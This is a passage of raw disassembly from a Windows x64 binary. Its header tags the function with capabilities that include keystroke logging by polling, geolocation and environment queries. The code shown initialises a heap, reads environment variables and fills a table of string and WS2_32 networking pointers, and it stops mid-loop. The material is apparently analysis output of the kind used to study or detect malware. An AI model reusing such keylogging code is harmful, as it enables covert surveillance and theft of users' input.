Function at 0x140001000
Capabilities:
Get geographical location
Identify system language via api
Log keystrokes via polling
Parse pe header
Query environment variable

Disassembly:
sub rsp, 0x28
mov r8, 0xe00
xor rdx, rdx
movabs rcx, 0x141ef53a0
call sub.msvcrt.dll_memset
xor rcx, rcx
call sub.KERNEL32.dll_GetModuleHandleW
mov qword [0x141ef53a8], rax
xor r8, r8
mov rdx, 0x1000
xor rcx, rcx
call sub.KERNEL32.dll_HeapCreate
mov qword [0x141ef53a0], rax
movabs rax, 0x1401dd7f0
mov qword [0x141ef5590], rax
call fcn.1400f2d90
call fcn.1400f1bf8
call fcn.1400f14e0
call fcn.1400ef670
call fcn.1400ec8a4
call fcn.1400ebd70
call fcn.1400eb350
call fcn.1400e9a2c
call fcn.1400e86dc
call fcn.1400e5d54
call fcn.1400e5608
call fcn.1400dd92c
call fcn.1400dcf9c
call fcn.1400dc424
call fcn.1400dabf0
call fcn.1400d7870
call fcn.1400cc704
call fcn.1400c9f58
call fcn.1400a5f70
call fcn.1400a5370
call fcn.1400a514c
call fcn.1400a3974
call fcn.1400a2b44
call fcn.140085380
call fcn.140084df4
call fcn.140084adc
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5fe0]
call fcn.1400f2e00
movabs rdx, 0x1401d89f0
lea rcx, [0x141ef53e8]
call fcn.1400f2e70
movabs rdx, 0x1401c88b4
lea rcx, [0x141ef5780]
call fcn.1400f2e70
call fcn.1400406b6
mov qword [0x141ef53e0], rax
mov qword [0x141ef57f8], 0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0xc8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef5b48]
pop rdx
call fcn.1400f2fb0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0xc8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef5b50]
pop rdx
call fcn.1400f2fb0
push 0xc8
mov rax, qword [0x141ef5b48]
mov rax, rax
push rax
movabs rax, 0x1401dbc66
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push 0xc8
mov rax, qword [0x141ef5b50]
mov rax, rax
push rax
movabs rax, 0x1401cfc98
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push 0x64
mov rax, qword [0x141ef5b18]
mov rax, rax
push rax
movabs rax, 0x1401c9eec
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push qword [0x141ef5b48]
movabs rcx, 0x1401c586a
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x14000125f
push qword [0x141ef5b50]
movabs rcx, 0x1401c586a
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x14000125f
jmp 0x140001268
mov rax, 1
jmp 0x14000126b
xor rax, rax
and rax, rax
je 0x140001288
movabs rdx, 0x1401cf008
lea rcx, [0x141ef5b30]
call fcn.1400f2e70
jmp 0x14000129e
movabs rdx, 0x1401d2548
lea rcx, [0x141ef5b30]
call fcn.1400f2e70
push 9
movabs rax, 0x1401d52ce
push rax
push 0
pop rcx
pop rdx
pop r8
call fcn.1400f1c6c
mov qword [0x141ef5ff0], 0x6f
mov qword [0x141ef5ff8], 4
sub rsp, 0x18
movabs rax, 0x141ef5fe8
push rax
movabs r9, 0x1401dd670
mov r8, 8
mov rdx, 8
mov rcx, 2
sub rsp, 0x20
call fcn.1400e5720
add rsp, 0x40
mov qword [0x141ef5fe8], rax
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6752
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6832
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3b2e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da818
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d86d2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c8b9a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dbaa4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d184e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
add rax, rax
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf7a6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
add rax, rax
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1b0a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
add rax, rax
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8416
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
add rax, rax
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8764
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8974
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cce16
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 3
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da580
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 3
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ca6b8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 2
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyaddr
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 2
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cacec
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 2
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6cde
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 2
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d0d58
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4ce2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1dbe
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 5
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6bb8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 5
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf010
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 6
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dca84
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 6
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6b86
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 6
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c557e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 6
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc018
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 7
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c7d38
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 7
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c79e8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 7
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d65b2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 7
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c7816
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d573e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d4b62
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 3
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d09fa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 3
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2180
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 9
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cdc12
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 9
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d2e0a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 9
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6fac
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 9
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6662
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xa
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd5a4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xa
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c70ba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xa
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d35fc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xa
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7e9e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xb
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cfa4c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xb
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2b02
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xb
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d53ea
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xb
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d9b26
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xc
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da6fe
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xc
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2246
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xc
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c557e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xc
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da2ba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xd
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d08a8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xd
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5390
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xd
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2d02
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xd
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c45aa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xe
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c7de0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xe
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xe
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c942a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xe
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf24a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xf
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1c90
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xf
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xf
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cadf8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0xf
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d276e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 4
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d2968
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 4
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6906
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 4
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c942a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 4
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c107c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x11
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d55e0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x11
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d48c6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x11
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2d02
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x11
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dce88
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x12
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9c56
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x12
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5354
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x12
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc5f6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x12
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cbeae
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x13
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d53a0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x13
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7d16
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x13
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9232
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x13
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ce9fc
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x14
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x14
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c82ba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x14
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c498a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x14
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c24e6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x15
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d515a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x15
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d691a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x15
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c8f1e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x15
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da53c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x16
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf424
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x16
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d4be2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x16
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6fa4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x16
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc0a6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x17
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c816a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x17
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7e0a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x17
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c21f0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x17
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d803a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x18
mov rbp, rax
push rbp
xor rax, rax
pop rbp
